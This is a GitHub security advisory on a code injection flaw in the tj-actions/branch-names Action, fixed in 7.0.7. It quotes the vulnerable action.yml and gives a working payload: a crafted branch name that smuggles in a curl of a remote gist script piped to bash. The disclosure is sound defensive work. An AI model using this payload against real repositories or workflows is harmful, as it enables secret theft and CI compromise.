GHSA-8v8w-v8xg-79rf tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection

• GitHub Actions tj-actions/branch-names: < 7.0.7 → fixed in 7.0.7

Summary The `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. Details The vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable. ```yml runs: using: "composite" steps: • id: branch run: | # "Set branch names..." if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}") HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}") REF=$(printf "%q" "${{ github.ref }}") ``` An attacker can use a branch name to inject arbitrary code, for example: `Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity. Impact An attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. Reference • https://securitylab.github.com/research/github-actions-untrusted-input